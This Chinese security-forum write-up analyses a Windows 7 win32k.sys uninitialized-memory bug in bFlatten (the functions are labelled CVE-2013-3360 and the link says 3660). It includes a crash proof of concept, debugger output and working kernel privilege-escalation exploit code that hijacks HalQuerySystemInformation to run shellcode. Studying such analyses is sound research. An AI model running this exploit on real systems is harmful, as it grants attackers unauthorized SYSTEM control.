本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
在对win32k.sys进行压力测试时候发现的漏洞,该漏洞的是因为Windows系统在对Path子系统进行相关操作的时候,对申请用以操作的内存存在不进行初始化造成的。通过频繁地申请与释放内存,导致系统在执行win32k的bFlatten函数时,使用了未初始化的内存,而用户可以有一定的概率成功控制这块内存,导致可以让函数之后的读写操作指向非法内存引发BSOD,或指向目标函数来实现提权。
操作系统:Win7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二
Path子系统
Windows的Path子系统是一个关于绘制图形曲线的系统,在EPATHOBJ结构体中的pPath成员指向了用于该子系统的PATH结构体指针:
typedef struct _PATHOBJ {
FLONG fl;
ULONG cCurves;
} PATHOBJ, *PPATHOBJ;
typedef struct _EPATHOBJ
{
PATHOBJ po;
PPATH pPath;
} EPATHOBJ, *PEPATHOBJ;
PATH结构体的定义如下,主要包括了指向PATHALLOC和PATHRECORD结构体的指针:
typedef struct _PATH
{
int iUnKnown[4]; // 0x10大小的未知成员
PATHALLOC *ppachain; // 指向PATHALLOC结构体
PATHRECORD *pprfirst; // 指向第一个PATHRECORD
PATHRECORD *pprlast; // 指向最后一个PATHRECORD
}PATH, *PPATH;
PATHALLOC是分配PATHRECORD的容器,该结构体定义如下:
typedef struct _PATHALLOC
{
struct _PATHALLOC *ppanext; // 指向下一个PATHALLOC结构体
struct _PATHRECORD *pprfreestart; // 指向新分配的PATHRECORD结构体
ULONG siztPathAlloc; // 当前PATHALLOC结构体大小
PATHRECORD pathRecord[0]; // PATHRECORD数组
}PATHALLOC, *PPATHALLOC;
PATHRECORD是Path子系统的主要结构体,对其进行直线化操作就是对PATHRECORD结构体进行操作,该结构体定义如下:
typedef struct _PATHRECORD
{
struct _PATHRECORD *pprnext; // 指向下一个PATHRECORD
struct _PATHRECORD *pprprev; // 指向上一个PATHRECORD
DWORD flags; // 类型
DWORD numPoints; // points数组元素个数
POINT points[0]; // POINT数组,记录坐标点
}PATHRECORD, *PPATHRECORD
其中,flags成员指明了该结构体的类型,如,PD_BEZIERS就指明其未贝塞尔自由绘制曲线:
#define PD_BEZIERS 0x00000010
PATH,PATHALLOC,PATHRECORD结构体的关系如下图所示:
系统分配PATHRECORD结构体是通过PATHALLOC结构体实现的,freepathalloc和newpathalloc分别是用来释放和分配PATHALLOC结构体的函数。
freepathalloc函数实现如下,由该实现可以看出,在PATHALLOC中有一个freelist链表,该链表可以用来保存释放的PATHALLOC结构体,其中,cFree成员用来指定保存在freelist链表中的PATHALLOC结构体的数量。当freelist链表中保存的PATHALLOC结构体数量少于4时,释放的PATHALLOC结构体会被加入到链表中,否则直接调用ExFreePoolWithTag释放内存。
newpathalloc函数的实现如下,该函数首先判断freelist中是否存在可用的PATHALLOC结构体,如果有,则直接从freelist链表中分配,否则就会在第二处调用PALLOCMEM函数来分配内存,函数最终会将分配的内存地址赋给res,作为返回值。
在该函数中,在分配完内存以后只在LABEL_7初始化了PATHALLOC结构体前面三个成员,而之后的PATHRECORD结构体数组没有进行初始化。因此,如果是从第一处的freelist链表中分配PATHALLOC结构体,该结构体中的PATHRECORD结构体数组就会是之前释放PATHALLOC结构体时保存的数据。如果是第二处的PATLLOCMEM函数分配内存则不存在该问题,因为该函数会将内存初始化为0。
其中Win32AllocPool函数直接调用ExAllocatePoolWithTag来申请PagedPoolSession类型的内存:
三
漏洞分析
触发漏洞的函数为bFlatten,该函数实现如下,函数从PATH->pprfirst开始遍历查找所有的PATHRECORD结构体,对PD_BEZIERS类型的PATHRECORD结构体调用pprFlaaenRec函数。
pprFlattenRec函数首先会调用newpathrec函数申请一块PATHRECORD结构体,该结构体保存在第二个参数first_pathRecord中,对于新分配的PATHRECORD结构体,函数将其pprprev赋值为调用pprFlattenRec时,传入的PATHRECORD结构体参数的pprprev,然后将参数的pprprev指向的PATHRECORD结构体的pprnext赋值为新申请PATHRECORD结构体。
之后函数可能会多次调用newpathrec分配新的PATHRECORD结构体,然后将上面分配的PATHRECORD结构体的pprnext指向新分配的PATHRECORD结构体,同时会移动pprNew指针。
在pprFlattenRec函数的最后,函数会将pprNew的pprnext赋值为调用pprFlattenRec函数时传入的PATHRECORD参数的pprnext。
申请PATHRECORD结构体的newpathrec函数实现如下,函数首先从PATH->ppachain->pprfreestart指向的地址开始查找是否有足够的空间分配一个PATHRECORD结构体,如有则以pprfreestart指向的地址分配新PATHRECORD。否则,函数会调用newpathalloc函数先分配一个新的PATHALLOC结构体连入ppachain指向的链表的比链表头,在从新的PATHALLOC里的pprfreestart所指地址分配PATHRECORD。
newpathalloc在上面分析过了,如果是从freelist链表中分配的PATHALLOC结构体,该结构体的PATHRECORD结构体数组就会是未初始化的。因此,newpathrec返回的PATHALLOC中的PATHRECORD结构体数组很有可能是未初始化的。
而pprFlattenRec函数在函数最后才会对第一次调用newpathrec申请的PATHRECORD结构体的pprnext成员进行赋值,可是在第二次调用newpathrec函数的时候,如果此次调用,内存空间不够,该函数就会执行失败,返回的就不会是1,这样pprFlattenRec函数也会提前返回,最后对第一次申请的PATHRECORD结构体的pprnext成员进行赋值的代码也不会得到执行,这块PATHRECORD结构体的pprnext成员就没有被赋值的机会,保存的就会是这块内存原来的数值。
而bFlatten函数会通过PATHRECORD->pprnext来查找下一个PATHRECORD结构体,将其作为参数调用pprFlattenRec,如果可以想办法让此时的pprnext指向指定的内存,此时就会以指定的内存调用pprFlattenRec。
四
漏洞触发
bFlatten函数的调用只需要在用户层调用FlattenPath就可以实现,该函数定义如下:
BOOL FlattenPath(HDC hdc);
其中的参数可以通过调用GetDC函数,将参数传递为NULL来获取桌面HDC句柄就可以得到。
HDC GetDC(HWND hWnd);
想要利用这个函数,就需要想办法将PATHRECORD结构体的pprnext赋值为指定的内存,而通过调用PolyDraw函数可以将指定的POINT数组赋给PATHRECORD结构体的points数组。
BOOL PolyDraw(HDC hdc, POINT *lppt, CONST BYTE *lpbTypes, int cCount);
PolyDraw函数进入到内核中,会调用NtGdiPolyDraw,NtGdiPolyDraw会调用GrePolyDraw,GrePolyDraw会调用bPolyBezierTo,bPolyBezierTo会调用addpoints,addpoints函数会调用createrec函数。
createrec可能会调用newpathalloc来申请PATHALLOC结构体,如果申请失败,则会调用reinit函数,并直接返回:
reinit函数会调用vFreeBlocks,并将EPATHOBJ的部分成员清0:
vFreeBlocks函数会将大小为0xFC0的PATHALLOC释放掉:
如果createrec不调用reinit,之后会调用bXformRound,该函数会将用户层传入的POINT数组的x和y乘以0x10(左移4位)赋给PATHRECORD结构体的points成员:
在用户层调用PolyDraw的前后,需要调用BeginPath和EndPath,其中BeginPath会在内核层调用NtGdiBeginPath实现,NtGdiBeginPath可能会调用vDelete函数:
vDelete函数会调用vFreeBlocks函数来释放PATHALLOC:
因此,通过BeginPath和PolyDraw可以向内存中频繁申请和释放PATHALLOC结构体,且该结构体的PATHRECORD成员的points数组保存的坐标为在用户层指定的坐标左移4位的数值。配合FlattenPath函数,进行多次调用,有可能申请出的PATHALLOC结构体的PATHRECORD成员的pprnext的值刚好为points的坐标的值,也就是在用户层指定的POINT数组坐标左移4位的值。而为了让pprnext保存为原始的值,需要通过如下的CreateRoudRectRgn来创建圆角矩阵占有内存,让newpathrec存在返回失败的情况,这样pprnext就会保存着释放之前的值。
HRGN CreateRoundRectRgn(int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nWidthEllipse, int nHeightEllipse);
用户层的POINT数组的坐标需要指定为在用户层创建的PATHRECORD结构体右移4位的地址,这样就未初始化的pprnext就可能执行创建的PATHRECORD,而这个用户层创建的PATHRECORD的next需要指向自身,且flags不能位PD_BEZIERS,这样,在bFlatten函数的循环中,一旦循环到该PATHRECORD结构体,就会在循环中不断循环。
如果在不断循环的时候,将用户层的PATHRECORD结构体的next指针指向另一个在用户层创建的PATHRECORD结构体,那么就可以实现由用户来指定bFlatten函数调用pprFlattenRec函数时的PATHRECORD参数。而要找到这个合适的时机,就需要另外开起一个线程,在这个新线程中会先释放创建的圆角矩阵,在修改PATHRECORD的next指针,有一定概率可以实现所述的功能,相应的POC如下:
DWORD WINAPI WathdogThread(LPVOID param)
{
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)
{
while (NumRegion--) DeleteObject(Regions[NumRegion]);
InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
}
return 0;
}
BOOL POC_CVE_2013_3360()
{
BOOL bRet = TRUE;
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!PathRecord)
{
bRet = FALSE;
ShowError("VirtualAlloc", GetLastError());
goto exit;
}
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)0x42424242;
PathRecord->flags = 0;
ExploitRecord.next = NULL;
ExploitRecord.prev = (PPATHRECORD)0x1;
ExploitRecord.flags = PD_BEZIERS;
ULONG PointNum = 0;
ULONG PointValue = (ULONG)(PathRecord) >> 4;
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++)
{
Points[PointNum].x = PointValue;
Points[PointNum].y = PointValue;
PointTypes[PointNum] = PT_BEZIERTO;
}
SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL));
while (TRUE)
{
Mutex = CreateMutex(NULL, TRUE, NULL);
if (!Mutex)
{
bRet = FALSE;
ShowError("CreateMutex", GetLastError());
goto exit;
}
HANDLE hThread = NULL;
hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL);
if (!hThread)
{
bRet = FALSE;
ShowError("CreateThread", GetLastError());
goto exit;
}
// 消耗内存,让newpathrec函数返回失败
ULONG Size = 0;
for (Size = 1 << 26; Size; Size >>= 1) {
while (TRUE) {
HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
if (!hm) {
break;
}
if (NumRegion < MAX_REGIONS)
{
Regions[NumRegion] = hm;
NumRegion++;
}
else NumRegion = 0;
}
}
HDC Device = NULL;
Device = GetDC(NULL);
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3)
{
// 频繁释放,申请内存
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
// 触发漏洞
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
ReleaseMutex(Mutex);
ReleaseDC(NULL, Device);
WaitForSingleObject(hThread, INFINITE);
}
exit:
return bRet;
}
在POC中,ExploitRecord的prev为1,这样在pprFlattenRec函数中,执行如下所示的最开始的赋值操作的时候,就会将新创建的PATHRECORD结构体的prev赋值为1,因为此时pprFlattenRec函数的PATHRECORD结构体的参数是ExploitRecord。
而在之后执行pprNew->pprprev->pprnext = pprNew的时候,就会对地址为1的内存进行赋值,该地址是无效地址,因此会产生BSOD。编译运行POC,即可验证:
kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!EPATHOBJ::pprFlattenRec+0x5e:
83883b95 8930 mov dword ptr [eax],esi
kd> r eax
eax=00000001
以下为部分错误信息:
kd> !analyze -v
Connected to Windows 7 7601 x86 compatible target at (Tue Jul 5 15:38:47.483 2022 (UTC + 8:00)), ptr64 FALSE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PROCESS_NAME: exp.exe
FAULTING_IP:
win32k!EPATHOBJ::pprFlattenRec+5e
83883b95 8930 mov dword ptr [eax],esi
BUGCHECK_STR: ACCESS_VIOLATION
WRITE_ADDRESS: 00000001
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE
ERROR_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>
STACK_TEXT:
win32k!EPATHOBJ::pprFlattenRec+0x5e
win32k!EPATHOBJ::bFlatten+0x23
win32k!NtGdiFlattenPath+0x50
nt!KiFastCallEntry+0x12a
ntdll!KiFastSystemCallRet
GDI32!NtGdiFlattenPath+0xc
GDI32!FlattenPath+0x44
MODULE_NAME: win32k
IMAGE_NAME: win32k.sys
OSBUILD: 7601
五
漏洞利用
现在可以通过指定ExploitRecord的prev为保存HalQuerySystemInformation函数地址的地址,来实现对其进行更改。但是,在执行pprNew->pprprev->pprnext = pprNew的时候,pprNew的大小并不可控。不过在pprFlattenRec函数的最后,会将pprNew的pprnext赋值为下一个PATHRECORD结构体的地址:
如果将ExploitRecord的next赋值为0x642464FF(对应jmp [esp + 0x64]),这样就会将pprNew所指的地址最开始的4字节赋值为该数值。此时,程序调用HalQuerySystemInformation的时候就会执行call [pprNew]跳转到pprNew所指的地址中执行,而跳转到该地址就会执行jmp [esp + 0x64]。
之所以是这条指令,是因为在调用NtQueryIntervalProfile的时候,会将要执行的ShellCode的地址作为第二个参数传递,在执行jmp [esp + 0x64]的时候,该ShellCode的地址会刚好保存在esp + 0x64处的地址,就会成功执行ShellCode。
另外,由于bFlatten函数在处理完ExploitRecord之后,会继续取下一个PATHRECORD继续执行,而此时ExploitRecord的next为0x642464FF,因此该地址需要有效,且它的next和flags需要为0来让bFlatten函数正常退出。此时的利用代码如下,其中dwMagic的值就是0x642464FF:
BOOL Init_CVE_2013_3360()
{
BOOL bRet = TRUE;
HMODULE hNtdll = NULL;
hNtdll = GetModuleHandle("ntdll");
if (!hNtdll)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
pNtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile");
if (!pNtQueryIntervalProfile)
{
bRet = FALSE;
ShowError("GetProcAddress", GetLastError());
goto exit;
}
if (!VirtualAlloc((PVOID)(dwMagic & 0xFFFFF000),
PAGE_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE))
{
bRet = FALSE;
ShowError("VirtualAlloc", GetLastError());
goto exit;
}
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!PathRecord)
{
bRet = FALSE;
ShowError("VirtualAlloc", GetLastError());
goto exit;
}
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);
PathRecord->flags = 0;
ExploitRecordExit = (PPATHRECORD)dwMagic;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
ExploitRecord.next = ExploitRecordExit;
ExploitRecord.prev = (PPATHRECORD)pHalQuerySystemInformation;
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
ULONG PointNum = 0;
ULONG PointValue = (ULONG)PathRecord >> 4;
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++)
{
Points[PointNum].x = PointValue;
Points[PointNum].y = PointValue;
PointTypes[PointNum] = PT_BEZIERTO;
}
pShellCodeBuffer = VirtualAlloc(NULL,
dwShellCodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!pShellCodeBuffer)
{
bRet = FALSE;
ShowError("VirtualAlloc", GetLastError());
goto exit;
}
ZeroMemory(pShellCodeBuffer, dwShellCodeSize);
memcpy(pShellCodeBuffer, ShellCode, dwShellCodeSize);
dwStore = *(PDWORD)pShellCodeBuffer;
exit:
return bRet;
}
BOOL Trigger_CVE_2013_3360()
{
BOOL bRet = TRUE;
HDESK hDesk = NULL;
hDesk = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
if (hDesk) SetThreadDesktop(hDesk);
HANDLE hThread = NULL;
HDC Device = NULL;
ULONG Size = 0, PointNum = 0;
while (TRUE)
{
Mutex = CreateMutex(NULL, TRUE, NULL);
if (!Mutex)
{
bRet = FALSE;
ShowError("CreateMutex", GetLastError());
goto exit;
}
Device = GetDC(NULL);
if (!Device)
{
bRet = FALSE;
ShowError("GetDC", GetLastError());
goto exit;
}
hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL);
if (!hThread)
{
bRet = FALSE;
ShowError("CreateMutex", GetLastError());
goto exit;
}
for (Size = 1 << 26; Size; Size >>= 1)
{
while (TRUE)
{
HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
if (!hm) break;
if (NumRegion < MAX_REGIONS)
{
Regions[NumRegion] = hm;
NumRegion++;
}
else NumRegion = 0;
}
}
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
pNtQueryIntervalProfile(2, (PULONG)pShellCodeBuffer);
*(PDWORD)pShellCodeBuffer = dwStore;
EndPath(Device);
if (PathRecord->next == &ExploitRecord) goto exit;
}
// 运行到此处,说明漏洞触发失败了,释放掉资源
ReleaseMutex(Mutex);
ReleaseDC(NULL, Device);
WaitForSingleObject(hThread, INFINITE);
}
exit:
return bRet;
}
六
运行结果
完整的漏洞利用代码保存在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2013-3660.cpp。如果要查看执行ShellCode的过程,可以在调用NtQueryIntervalProfile之前加入如下代码:
if (PathRecord->next == &ExploitRecord) __asm int 3;
编译运行程序,当系统中断的时候就可以在nt!KeQueryIntervalProfile中的关键位置下断点,可以看到目标函数地址已经被修改为一个新的地址。而这个地址中保存的就是jmp [esp + 0x64]这条指令:
继续执行,就会执行jmp [esp + 0x64]这条指令,且执行这条指令的时候,esp + 0x64中保存的是ShellCode的地址:
kd> t
a81cb014 ff642464 jmp dword ptr [esp+64h]
kd> dd esp + 64 L4
89338c30 00220000 0012ff00 776770b4 badb0d00
因此,继续执行就会跳转执行ShellCode的提权代码:
执行完成,程序就会成功提权:
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!